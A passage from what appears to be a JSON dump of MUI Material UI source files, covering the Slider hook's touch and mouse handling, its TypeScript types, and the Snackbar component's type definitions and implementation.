activeIndex, setActive, focusVisible: false });\n    setValueState(newValue);\n\n    if (!dragging && moveCount.current > INTENTIONAL_DRAG_COUNT_THRESHOLD) {\n      setDragging(true);\n    }\n\n    if (handleChange && !areValuesEqual(newValue, valueDerived)) {\n      handleChange(nativeEvent, newValue, activeIndex);\n    }\n  });\n\n  const handleTouchEnd = useEventCallback((nativeEvent: TouchEvent | MouseEvent) => {\n    const finger = trackFinger(nativeEvent, touchId);\n    setDragging(false);\n\n    if (!finger) {\n      return;\n    }\n\n    const { newValue } = getFingerNewValue({ finger, move: true });\n\n    setActive(-1);\n    if (nativeEvent.type === 'touchend') {\n      setOpen(-1);\n    }\n\n    if (onChangeCommitted) {\n      onChangeCommitted(nativeEvent, lastChangedValue.current ?? newValue);\n    }\n\n    touchId.current = undefined;\n\n    // eslint-disable-next-line @typescript-eslint/no-use-before-define\n    stopListening();\n  });\n\n  const handleTouchStart = useEventCallback((nativeEvent: TouchEvent) => {\n    if (disabled) {\n      return;\n    }\n    // If touch-action: none; is not supported we need to prevent the scroll manually.\n    if (!doesSupportTouchActionNone()) {\n      nativeEvent.preventDefault();\n    }\n\n    const touch = nativeEvent.changedTouches[0];\n    if (touch != null) {\n      // A number that uniquely identifies the current finger in the touch session.\n      touchId.current = touch.identifier;\n    }\n    const finger = trackFinger(nativeEvent, touchId);\n    if (finger !== false) {\n      const { newValue, activeIndex } = getFingerNewValue({ finger });\n      focusThumb({ sliderRef, activeIndex, setActive, focusVisible: false });\n\n      setValueState(newValue);\n\n      if (handleChange && !areValuesEqual(newValue, valueDerived)) {\n        handleChange(nativeEvent, newValue, activeIndex);\n      }\n    }\n\n    moveCount.current = 0;\n    const doc = ownerDocument(sliderRef.current);\n    doc.addEventListener('touchmove', handleTouchMove, { passive: true });\n    doc.addEventListener('touchend', handleTouchEnd, { passive: true });\n  });\n\n  const stopListening = React.useCallback(() => {\n    const doc = ownerDocument(sliderRef.current);\n    doc.removeEventListener('mousemove', handleTouchMove);\n    doc.removeEventListener('mouseup', handleTouchEnd);\n    doc.removeEventListener('touchmove', handleTouchMove);\n    doc.removeEventListener('touchend', handleTouchEnd);\n  }, [handleTouchEnd, handleTouchMove]);\n\n  React.useEffect(() => {\n    const { current: slider } = sliderRef;\n    slider!.addEventListener('touchstart', handleTouchStart, {\n      passive: doesSupportTouchActionNone(),\n    });\n\n    return () => {\n      slider!.removeEventListener('touchstart', handleTouchStart);\n\n      cancelFocusFrame();\n      stopListening();\n    };\n  }, [stopListening, handleTouchStart, cancelFocusFrame]);\n\n  React.useEffect(() => {\n    if (disabled) {\n      stopListening();\n      cancelFocusFrame();\n    }\n  }, [disabled, stopListening, cancelFocusFrame]);\n\n  const createHandleMouseDown =\n    (otherHandlers: EventHandlers) => (event: React.MouseEvent<HTMLSpanElement>) => {\n      otherHandlers.onMouseDown?.(event);\n      if (disabled) {\n        return;\n      }\n\n      if (event.defaultPrevented) {\n        return;\n      }\n\n      // Only handle left clicks\n      if (event.button !== 0) {\n        return;\n      }\n\n      const finger = trackFinger(event, touchId);\n      if (finger !== false) {\n        const { newValue, activeIndex } = getFingerNewValue({ finger });\n        const doc = ownerDocument(sliderRef.current);\n        const activeElement = doc.activeElement;\n        const pressedOnFocusedThumb =\n          sliderRef.current?.contains(activeElement) &&\n          Number(activeElement?.getAttribute('data-index')) === activeIndex;\n\n        setActive(activeIndex);\n\n        if (pressedOnFocusedThumb) {\n          event.preventDefault();\n        } else {\n          cancelFocusFrame();\n          focusFrame.current = requestAnimationFrame(() => {\n            focusFrame.current = null;\n            focusThumb({ sliderRef, activeIndex, focusVisible: false });\n          });\n        }\n\n        setValueState(newValue);\n\n        if (handleChange && !areValuesEqual(newValue, valueDerived)) {\n          handleChange(event, newValue, activeIndex);\n        }\n      }\n\n      moveCount.current = 0;\n      const doc = ownerDocument(sliderRef.current);\n      doc.addEventListener('mousemove', handleTouchMove, { passive: true });\n      doc.addEventListener('mouseup', handleTouchEnd);\n    };\n\n  const trackOffset = valueToPercent(range ? values[0] : min, min, max);\n  const trackLeap = valueToPercent(values[values.length - 1], min, max) - trackOffset;\n\n  const getRootProps = <ExternalProps extends Record<string, unknown> = {}>(\n    externalProps: ExternalProps = {} as ExternalProps,\n  ): UseSliderRootSlotProps<ExternalProps> => {\n    const externalHandlers = extractEventHandlers(externalProps);\n\n    const ownEventHandlers = {\n      onMouseDown: createHandleMouseDown(externalHandlers || {}),\n    };\n\n    const mergedEventHandlers = {\n      ...externalHandlers,\n      ...ownEventHandlers,\n    };\n\n    return {\n      ...externalProps,\n      ref: handleRef,\n      ...mergedEventHandlers,\n    };\n  };\n\n  const createHandleMouseOver =\n    (otherHandlers: EventHandlers) => (event: React.MouseEvent<HTMLSpanElement, MouseEvent>) => {\n      otherHandlers.onMouseOver?.(event);\n\n      const index = Number(event.currentTarget.getAttribute('data-index'));\n      setOpen(index);\n    };\n\n  const createHandleMouseLeave =\n    (otherHandlers: EventHandlers) => (event: React.MouseEvent<HTMLSpanElement, MouseEvent>) => {\n      otherHandlers.onMouseLeave?.(event);\n\n      setOpen(-1);\n    };\n\n  const getThumbProps = <ExternalProps extends Record<string, unknown> = {}>(\n    externalProps: ExternalProps = {} as ExternalProps,\n  ): UseSliderThumbSlotProps<ExternalProps> => {\n    const externalHandlers = extractEventHandlers(externalProps);\n\n    const ownEventHandlers = {\n      onMouseOver: createHandleMouseOver(externalHandlers || {}),\n      onMouseLeave: createHandleMouseLeave(externalHandlers || {}),\n    };\n\n    return {\n      ...externalProps,\n      ...externalHandlers,\n      ...ownEventHandlers,\n    };\n  };\n\n  const getThumbStyle = (index: number) => {\n    return {\n      // So the non active thumb doesn't show its label on hover.\n      pointerEvents: active !== -1 && active !== index ? 'none' : undefined,\n    };\n  };\n\n  let cssWritingMode: 'vertical-rl' | 'vertical-lr' | undefined;\n  if (orientation === 'vertical') {\n    cssWritingMode = isRtl ? 'vertical-rl' : 'vertical-lr';\n  }\n\n  const getHiddenInputProps = <ExternalProps extends Record<string, unknown> = {}>(\n    externalProps: ExternalProps = {} as ExternalProps,\n  ): UseSliderHiddenInputProps<ExternalProps> => {\n    const externalHandlers = extractEventHandlers(externalProps);\n\n    const ownEventHandlers = {\n      onChange: createHandleHiddenInputChange(externalHandlers || {}),\n      onFocus: createHandleHiddenInputFocus(externalHandlers || {}),\n      onBlur: createHandleHiddenInputBlur(externalHandlers || {}),\n      onKeyDown: createHandleHiddenInputKeyDown(externalHandlers || {}),\n    };\n\n    const mergedEventHandlers = {\n      ...externalHandlers,\n      ...ownEventHandlers,\n    };\n\n    return {\n      tabIndex,\n      'aria-labelledby': ariaLabelledby,\n      'aria-orientation': orientation,\n      'aria-valuemax': scale(max),\n      'aria-valuemin': scale(min),\n      name,\n      type: 'range',\n      min: parameters.min,\n      max: parameters.max,\n      step: parameters.step === null && parameters.marks ? 'any' : (parameters.step ?? undefined),\n      disabled,\n      ...externalProps,\n      ...mergedEventHandlers,\n      style: {\n        ...visuallyHidden,\n        direction: isRtl ? 'rtl' : 'ltr',\n        // So that VoiceOver's focus indicator matches the thumb's dimensions\n        width: '100%',\n        height: '100%',\n        writingMode: cssWritingMode,\n      },\n    };\n  };\n\n  return {\n    active,\n    axis: axis as keyof typeof axisProps,\n    axisProps,\n    dragging,\n    focusedThumbIndex,\n    getHiddenInputProps,\n    getRootProps,\n    getThumbProps,\n    marks: marks as readonly Mark[],\n    open,\n    range,\n    rootRef: handleRef,\n    trackLeap,\n    trackOffset,\n    values,\n    getThumbStyle,\n  };\n}\n"
  },
  {
    "path": "packages/mui-material/src/Slider/useSlider.types.ts",
    "content": "import * as React from 'react';\n\nexport interface UseSliderParameters {\n  /**\n   * The id of the element containing a label for the slider.\n   */\n  'aria-labelledby'?: string | undefined;\n  /**\n   * The default value. Use when the component is not controlled.\n   */\n  defaultValue?: number | ReadonlyArray<number> | undefined;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, the active thumb doesn't swap when moving pointer over a thumb while dragging another thumb.\n   * @default false\n   */\n  disableSwap?: boolean | undefined;\n  /**\n   * If `true` the Slider will be rendered right-to-left (with the lowest value on the right-hand side).\n   * @default false\n   */\n  isRtl?: boolean | undefined;\n  /**\n   * Marks indicate predetermined values to which the user can move the slider.\n   * If `true` the marks are spaced according the value of the `step` prop.\n   * If an array, it should contain objects with `value` and an optional `label` keys.\n   * @default false\n   */\n  marks?: boolean | ReadonlyArray<Mark> | undefined;\n  /**\n   * The maximum allowed value of the slider.\n   * Should not be equal to min.\n   * @default 100\n   */\n  max?: number | undefined;\n  /**\n   * The minimum allowed value of the slider.\n   * Should not be equal to max.\n   * @default 0\n   */\n  min?: number | undefined;\n  /**\n   * Name attribute of the hidden `input` element.\n   */\n  name?: string | undefined;\n  /**\n   * Callback function that is fired when the slider's value changed.\n   *\n   * @param {Event} event The event source of the callback.\n   * You can pull out the new value by accessing `event.target.value` (any).\n   * **Warning**: This is a generic event not a change event.\n   * @param {number | number[]} value The new value.\n   * @param {number} activeThumb Index of the currently moved thumb.\n   */\n  onChange?: ((event: Event, value: number | number[], activeThumb: number) => void) | undefined;\n  /**\n   * Callback function that is fired when the `mouseup` is triggered.\n   *\n   * @param {React.SyntheticEvent | Event} event The event source of the callback. **Warning**: This is a generic event not a change event.\n   * @param {number | number[]} value The new value.\n   */\n  onChangeCommitted?:\n    | ((event: React.SyntheticEvent | Event, value: number | number[]) => void)\n    | undefined;\n  /**\n   * The component orientation.\n   * @default 'horizontal'\n   */\n  orientation?: 'horizontal' | 'vertical' | undefined;\n  /**\n   * The ref attached to the root of the Slider.\n   */\n  rootRef?: React.Ref<Element> | undefined;\n  /**\n   * A transformation function, to change the scale of the slider.\n   * @param {any} x\n   * @returns {any}\n   * @default function Identity(x) {\n   *   return x;\n   * }\n   */\n  scale?: ((value: number) => number) | undefined;\n  /**\n   * The granularity with which the slider can step through values when using Page Up/Page Down or Shift + Arrow Up/Arrow Down.\n   * @default 10\n   */\n  shiftStep?: number | undefined;\n  /**\n   * The granularity with which the slider can step through values. (A \"discrete\" slider.)\n   * The `min` prop serves as the origin for the valid values.\n   * We recommend (max - min) to be evenly divisible by the step.\n   *\n   * When step is `null`, the thumb can only be slid onto marks provided with the `marks` prop.\n   * @default 1\n   */\n  step?: number | null | undefined;\n  /**\n   * Tab index attribute of the hidden `input` element.\n   */\n  tabIndex?: number | undefined;\n  /**\n   * The value of the slider.\n   * For ranged sliders, provide an array with two values.\n   */\n  value?: number | ReadonlyArray<number> | undefined;\n}\n\nexport interface Mark {\n  value: number;\n  label?: React.ReactNode;\n}\n\nexport type UseSliderRootSlotOwnProps = {\n  onMouseDown: React.MouseEventHandler;\n  ref: React.RefCallback<Element> | null;\n};\n\nexport type UseSliderRootSlotProps<ExternalProps = {}> = Omit<\n  ExternalProps,\n  keyof UseSliderRootSlotOwnProps\n> &\n  UseSliderRootSlotOwnProps;\n\nexport type UseSliderThumbSlotOwnProps = {\n  onMouseLeave: React.MouseEventHandler;\n  onMouseOver: React.MouseEventHandler;\n};\n\nexport type UseSliderThumbSlotProps<ExternalProps = {}> = Omit<\n  ExternalProps,\n  keyof UseSliderThumbSlotOwnProps\n> &\n  UseSliderThumbSlotOwnProps;\n\nexport type UseSliderHiddenInputOwnProps = {\n  'aria-labelledby'?: string | undefined;\n  'aria-orientation'?: React.AriaAttributes['aria-orientation'] | undefined;\n  'aria-valuemax'?: React.AriaAttributes['aria-valuemax'] | undefined;\n  'aria-valuemin'?: React.AriaAttributes['aria-valuemin'] | undefined;\n  disabled: boolean;\n  name?: string | undefined;\n  onBlur: React.FocusEventHandler;\n  onChange: React.ChangeEventHandler;\n  onFocus: React.FocusEventHandler;\n  step?: number | 'any' | undefined;\n  style: React.CSSProperties;\n  tabIndex?: number | undefined;\n  type?: React.InputHTMLAttributes<HTMLInputElement>['type'] | undefined;\n};\n\nexport type UseSliderHiddenInputProps<ExternalProps = {}> = Omit<\n  ExternalProps,\n  keyof UseSliderHiddenInputOwnProps\n> &\n  UseSliderHiddenInputOwnProps;\n\nexport type Axis = 'horizontal' | 'vertical' | 'horizontal-reverse';\n\nexport interface AxisProps<T extends Axis> {\n  offset: (\n    percent: number,\n  ) => T extends 'horizontal'\n    ? { left: string }\n    : T extends 'vertical'\n      ? { bottom: string }\n      : T extends 'horizontal-reverse'\n        ? { right: string }\n        : never;\n  leap: (\n    percent: number,\n  ) => T extends 'horizontal' | 'horizontal-reverse'\n    ? { width: string }\n    : T extends 'vertical'\n      ? { height: string }\n      : never;\n}\n\nexport interface UseSliderReturnValue {\n  /**\n   * The active index of the slider.\n   */\n  active: number;\n  /**\n   * The orientation of the slider.\n   */\n  axis: Axis;\n  /**\n   * Returns the `offset` and `leap` methods to calculate the positioning styles based on the slider axis.\n   */\n  axisProps: { [key in Axis]: AxisProps<key> };\n  /**\n   * If `true`, the slider is being dragged.\n   */\n  dragging: boolean;\n  /**\n   * The index of the thumb which is focused on the slider.\n   */\n  focusedThumbIndex: number;\n  /**\n   * Resolver for the hidden input slot's props.\n   * @param externalProps props for the hidden input slot\n   * @returns props that should be spread on the hidden input slot\n   */\n  getHiddenInputProps: <ExternalProps extends Record<string, unknown> = {}>(\n    externalProps?: ExternalProps,\n  ) => UseSliderHiddenInputProps<ExternalProps>;\n  /**\n   * Resolver for the root slot's props.\n   * @param externalProps props for the root slot\n   * @returns props that should be spread on the root slot\n   */\n  getRootProps: <ExternalProps extends Record<string, unknown> = {}>(\n    externalProps?: ExternalProps,\n  ) => UseSliderRootSlotProps<ExternalProps>;\n  /**\n   * Resolver for the thumb slot's props.\n   * @param externalProps props for the thumb slot\n   * @returns props that should be spread on the thumb slot\n   */\n  getThumbProps: <ExternalProps extends Record<string, unknown> = {}>(\n    externalProps?: ExternalProps,\n  ) => UseSliderThumbSlotProps<ExternalProps>;\n  /**\n   * Resolver for the thumb slot's style prop.\n   * @param index of the currently moved thumb\n   * @returns props that should be spread on the style prop of thumb slot\n   */\n  getThumbStyle: (index: number) => object;\n  /**\n   * The marks of the slider. Marks indicate predetermined values to which the user can move the slider.\n   */\n  marks: readonly Mark[];\n  /**\n   * The thumb index for the current value when in hover state.\n   */\n  open: number;\n  /**\n   * If `true`, the slider is a range slider when the `value` prop passed is an array.\n   */\n  range: boolean;\n  /**\n   * Ref to the root slot's DOM node.\n   */\n  rootRef: React.RefCallback<Element> | null;\n  /**\n   * The track leap for the current value of the slider.\n   */\n  trackLeap: number;\n  /**\n   * The track offset for the current value of the slider.\n   */\n  trackOffset: number;\n  /**\n   * The possible values of the slider.\n   */\n  values: number[];\n}\n"
  },
  {
    "path": "packages/mui-material/src/Snackbar/Snackbar.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport ClickAwayListener from '../ClickAwayListener';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { SnackbarContentProps } from '../SnackbarContent';\nimport { TransitionProps } from '../transitions/transition';\nimport { SnackbarClasses } from './snackbarClasses';\nimport { CreateSlotsAndSlotProps, SlotComponentProps, SlotProps } from '../utils/types';\n\nexport interface SnackbarSlots {\n  /**\n   * The component that renders the root slot.\n   * @default 'div'\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the content slot.\n   * @default SnackbarContent\n   */\n  content: React.ElementType;\n  /**\n   * The component that renders the clickAwayListener slot.\n   * @default ClickAwayListener\n   */\n  clickAwayListener: React.ElementType;\n  /**\n   * The component that renders the transition.\n   * [Follow this guide](/material-ui/transitions/#transitioncomponent-prop) to learn more about the requirements for this component.\n   * @default Grow\n   */\n  transition: React.ElementType;\n}\n\nexport interface SnackbarRootSlotPropsOverrides {}\nexport interface SnackbarContentSlotPropsOverrides {}\nexport interface SnackbarClickAwayListenerSlotPropsOverrides {}\n\nexport interface SnackbarTransitionSlotPropsOverrides {}\n\nexport type SnackbarSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  SnackbarSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the div element.\n     */\n    root: SlotProps<'div', SnackbarRootSlotPropsOverrides, SnackbarOwnerState>;\n    /**\n     * Props forwarded to the content slot.\n     * By default, the available props are based on the [SnackbarContent](https://mui.com/material-ui/api/snackbar-content/#props) component.\n     */\n    content: SlotProps<\n      React.ElementType<SnackbarContentProps>,\n      SnackbarContentSlotPropsOverrides,\n      SnackbarOwnerState\n    >;\n    /**\n     * Props forwarded to the clickAwayListener slot.\n     * By default, the available props are based on the [ClickAwayListener](https://mui.com/material-ui/api/click-away-listener/#props) component.\n     */\n    clickAwayListener: SlotComponentProps<\n      typeof ClickAwayListener,\n      SnackbarClickAwayListenerSlotPropsOverrides,\n      SnackbarOwnerState\n    >;\n    /**\n     * Props applied to the transition element.\n     * By default, the element is based on the [Grow](https://mui.com/material-ui/api/grow/#props) component.\n     */\n    transition: SlotComponentProps<\n      React.ElementType<TransitionProps>,\n      TransitionProps & SnackbarTransitionSlotPropsOverrides,\n      SnackbarOwnerState\n    >;\n  }\n>;\n\nexport interface SnackbarOrigin {\n  vertical: 'top' | 'bottom';\n  horizontal: 'left' | 'center' | 'right';\n}\n\nexport type SnackbarCloseReason = 'timeout' | 'clickaway' | 'escapeKeyDown';\n\nexport interface SnackbarProps\n  extends\n    Omit<StandardProps<React.HTMLAttributes<HTMLDivElement>>, 'slots' | 'slotProps'>,\n    SnackbarSlotsAndSlotProps {\n  /**\n   * The action to display. It renders after the message, at the end of the snackbar.\n   */\n  action?: SnackbarContentProps['action'] | undefined;\n  /**\n   * The anchor of the `Snackbar`.\n   * On smaller screens, the component grows to occupy all the available width,\n   * the horizontal alignment is ignored.\n   * @default { vertical: 'bottom', horizontal: 'left' }\n   */\n  anchorOrigin?: SnackbarOrigin | undefined;\n  /**\n   * The number of milliseconds to wait before automatically calling the\n   * `onClose` function. `onClose` should then set the state of the `open`\n   * prop to hide the Snackbar. This behavior is disabled by default with\n   * the `null` value.\n   * @default null\n   */\n  autoHideDuration?: number | null | undefined;\n  /**\n   * Replace the `SnackbarContent` component.\n   */\n  children?: React.ReactElement<unknown, any> | undefined;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<SnackbarClasses> | undefined;\n  /**\n   * If `true`, the `autoHideDuration` timer will expire even if the window is not focused.\n   * @default false\n   */\n  disableWindowBlurListener?: boolean | undefined;\n  /**\n   * When displaying multiple consecutive snackbars using a single parent-rendered\n   * `<Snackbar/>`, add the `key` prop to ensure independent treatment of each message.\n   * For instance, use `<Snackbar key={message} />`. Otherwise, messages might update\n   * in place, and features like `autoHideDuration` could be affected.\n   */\n  key?: any;\n  /**\n   * The message to display.\n   */\n  message?: SnackbarContentProps['message'] | undefined;\n  /**\n   * Callback fired when the component requests to be closed.\n   * Typically `onClose` is used to set state in the parent component,\n   * which is used to control the `Snackbar` `open` prop.\n   * The `reason` parameter can optionally be used to control the response to `onClose`,\n   * for example ignoring `clickaway`.\n   *\n   * @param {React.SyntheticEvent<any> | Event} event The event source of the callback.\n   * @param {string} reason Can be: `\"timeout\"` (`autoHideDuration` expired), `\"clickaway\"`, or `\"escapeKeyDown\"`.\n   */\n  onClose?:\n    | ((event: React.SyntheticEvent<any> | Event, reason: SnackbarCloseReason) => void)\n    | undefined;\n  /**\n   * If `true`, the component is shown.\n   */\n  open?: boolean | undefined;\n  /**\n   * The number of milliseconds to wait before dismissing after user interaction.\n   * If `autoHideDuration` prop isn't specified, it does nothing.\n   * If `autoHideDuration` prop is specified but `resumeHideDuration` isn't,\n   * we default to `autoHideDuration / 2` ms.\n   */\n  resumeHideDuration?: number | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or individually with an object.\n   * @default {\n   *   enter: theme.transitions.duration.enteringScreen,\n   *   exit: theme.transitions.duration.leavingScreen,\n   * }\n   */\n  transitionDuration?: TransitionProps['timeout'] | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Snackbar](https://next.mui.com/material-ui/react-snackbar/)\n *\n * API:\n *\n * - [Snackbar API](https://next.mui.com/material-ui/api/snackbar/)\n */\nexport default function Snackbar(props: SnackbarProps): React.JSX.Element;\n\nexport interface SnackbarOwnerState extends Omit<SnackbarProps, 'slots' | 'slotProps'> {}\n"
  },
  {
    "path": "packages/mui-material/src/Snackbar/Snackbar.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport composeClasses from '@mui/utils/composeClasses';\nimport useSnackbar from './useSnackbar';\nimport ClickAwayListener from '../ClickAwayListener';\nimport { styled, useTheme } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport capitalize from '../utils/capitalize';\nimport Grow from '../Grow';\nimport SnackbarContent from '../SnackbarContent';\nimport { getSnackbarUtilityClass } from './snackbarClasses';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, anchorOrigin } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      `anchorOrigin${capitalize(anchorOrigin.vertical)}${capitalize(anchorOrigin.horizontal)}`,\n    ],\n  };\n\n  return composeClasses(slots, getSnackbarUtilityClass, classes);\n};\n\nconst SnackbarRoot = styled('div', {\n  name: 'MuiSnackbar',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      styles[\n        `anchorOrigin${capitalize(ownerState.anchorOrigin.vertical)}${capitalize(\n          ownerState.anchorOrigin.horizontal,\n        )}`\n      ],\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    zIndex: (theme.vars || theme).zIndex.snackbar,\n    position: 'fixed',\n    display: 'flex',\n    left: 8,\n    right: 8,\n    justifyContent: 'center',\n    alignItems: 'center',\n    variants: [\n      {\n        props: ({ ownerState }) => ownerState.anchorOrigin.vertical === 'top',\n        style: { top: 8, [theme.breakpoints.up('sm')]: { top: 24 } },\n      },\n      {\n        props: ({ ownerState }) => ownerState.anchorOrigin.vertical !== 'top',\n        style: { bottom: 8, [theme.breakpoints.up('sm')]: { bottom: 24 } },\n      },\n      {\n        props: ({ ownerState }) => ownerState.anchorOrigin.horizontal === 'left',\n        style: {\n          justifyContent: 'flex-start',\n          [theme.breakpoints.up('sm')]: {\n            left: 24,\n            right: 'auto',\n          },\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.anchorOrigin.horizontal === 'right',\n        style: {\n          justifyContent: 'flex-end',\n          [theme.breakpoints.up('sm')]: {\n            right: 24,\n            left: 'auto',\n          },\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.anchorOrigin.horizontal === 'center',\n        style: {\n          [theme.breakpoints.up('sm')]: {\n            left: '50%',\n            right: 'auto',\n            transform: 'translateX(-50%)',\n          },\n        },\n      },\n    ],\n  })),\n);\n\nconst Snackbar = React.forwardRef(function Snackbar(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiSnackbar' });\n  const theme = useTheme();\n  const defaultTransitionDuration = {\n    enter: theme.transitions.duration.enteringScreen,\n    exit: theme.transitions.duration.leavingScreen,\n  };\n\n  const {\n    action,\n    anchorOrigin: { vertical, horizontal } = { vertical: 'bottom', horizontal: 'left' },\n    autoHideDuration = null,\n    children,\n    className,\n    disableWindowBlurListener = false,\n    message,\n    onBlur,\n    onClose,\n    onFocus,\n    onMouseEnter,\n    onMouseLeave,\n    open,\n    resumeHideDuration,\n    slots = {},\n    slotProps = {},\n    transitionDuration = defaultTransitionDuration,\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    anchorOrigin: { vertical, horizontal },\n    autoHideDuration,\n    disableWindowBlurListener,\n    transitionDuration,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const { getRootProps, onClickAway } = useSnackbar(ownerState);\n\n  const [exited, setExited] = React.useState(true);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [Root, rootProps] = useSlot('root', {\n    ref,\n    className: [classes.root, className],\n    elementType: SnackbarRoot,\n    getSlotProps: getRootProps,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      ...other,\n    },\n    ownerState,\n  });\n\n  const [ClickAwaySlot, { ownerState: clickAwayOwnerStateProp, ...clickAwayListenerProps }] =\n    useSlot('clickAwayListener', {\n      elementType: ClickAwayListener,\n      externalForwardedProps,\n      getSlotProps: (handlers) => ({\n        onClickAway: (...params) => {\n          const event = params[0];\n          handlers.onClickAway?.(...params);\n          if (event?.defaultMuiPrevented) {\n            return;\n          }\n          onClickAway(...params);\n        },\n      }),\n      ownerState,\n    });\n\n  const [ContentSlot, contentSlotProps] = useSlot('content', {\n    elementType: SnackbarContent,\n    shouldForwardComponentProp: true,\n    externalForwardedProps,\n    additionalProps: {\n      message,\n      action,\n    },\n    ownerState,\n  });\n\n  const [TransitionSlot, transitionProps] = useSlot('transition', {\n    elementType: Grow,\n    externalForwardedProps,\n    getSlotProps: (handlers) => ({\n      onEnter: (...params) => {\n        handlers.onEnter?.(...params);\n        setExited(false);\n      },\n      onExited: (...params) => {\n        handlers.onExited?.(...params);\n        setExited(true);\n      },\n    }),\n    additionalProps: {\n      appear: true,\n      in: open,\n      timeout: transitionDuration,\n      direction: vertical === 'top' ? 'down' : 'up',\n    },\n    ownerState,\n  });\n\n  // So we only render active snackbars.\n  if (!open && exited) {\n    return null;\n  }\n\n  return (\n    <ClickAwaySlot\n      {...clickAwayListenerProps}\n      {...(slots.clickAwayListener && { ownerState: clickAwayOwnerStateProp })}\n    >\n      <Root {...rootProps}>\n        <TransitionSlot {...transitionProps}>\n          {children || <ContentSlot {...contentSlotProps} />}\n        </TransitionSlot>\n      </Root>\n    </ClickAwaySlot>\n  );\n});\n\nSnackbar.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The action to display. It renders after the message, at the end of the snackbar.\n   */\n  action: PropTypes.node,\n  /**\n   * The anchor of the `Snackbar`.\n   * On smaller screens, the component grows to occupy all the available width,\n   * the horizontal alignment is ignored.\n   * @default { vertical: 'bottom', horizontal: 'left' }\n   */\n  anchorOrigin: PropTypes.shape({\n    horizontal: PropTypes.oneOf(['center', 'left', 'right']).isRequired,\n    vertical: PropTypes.oneOf(['bottom', 'top']).isRequired,\n  }),\n  /**\n   * The number of milliseconds to wait before automatically calling the\n   * `onClose` function. `onClose` should then set the state of the `open`\n   * prop to hide the Snackbar. This behavior is disabled by default with\n   * the `null` value.\n   * @default null\n   */\n  autoHideDuration: PropTypes.number,\n  /**\n   * Replace the `SnackbarContent` component.\n   */\n  children: PropTypes.element,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * If `true`, the `autoHideDuration` timer will expire even if the window is not focused.\n   * @default false\n   */\n  disableWindowBlurListener: PropTypes.bool,\n  /**\n   * When displaying multiple consecutive snackbars using a single parent-rendered\n   * `<Snackbar/>`, add the `key` prop to ensure independent treatment of each message.\n   * For instance, use `<Snackbar key={message} />`. Otherwise, messages might update\n   * in place, and features like `autoHideDuration` could be affected.\n   */\n  key: () => null,\n  /**\n   * The message to display.\n   */\n  message: PropTypes.node,\n  /**\n   * @ignore\n   */\n  onBlur: PropTypes.func,\n  /**\n   * Callback fired when the component requests to be closed.\n   * Typically `onClose` is used to set state in the parent component,\n   * which is used to control the `Snackbar` `open` prop.\n   * The `reason` parameter can optionally be used to control the response to `onClose`,\n   * for example ignoring `clickaway`.\n   *\n   * @param {React.SyntheticEvent<any> | Event} event The event source of the callback.\n   * @param {string} reason Can be: `\"timeout\"` (`autoHideDuration` expired), `\"clickaway\"`, or `\"escapeKeyDown\"`.\n   */\n  onClose: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onFocus: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onMouseEnter: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onMouseLeave: PropTypes.func,\n  /**\n   * If `true`, the component is shown.\n   */\n  open: PropTypes.bool,\n  /**\n   * The number of milliseconds to wait before dismissing after user interaction.\n   * If `autoHideDuration` prop isn't specified, it does nothing.\n   * If `autoHideDuration` prop is specified but `resumeHideDuration` isn't,\n   * we default to `autoHideDuration / 2` ms.\n   */\n  resumeHideDuration: PropTypes.number,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes /* @typescript-to-proptypes-ignore */.shape({\n    clickAwayListener: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    content: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    transition: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    clickAwayListener: PropTypes.elementType,\n    content: PropTypes.elementType,\n    root: PropTypes.elementType,\n    transition: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or 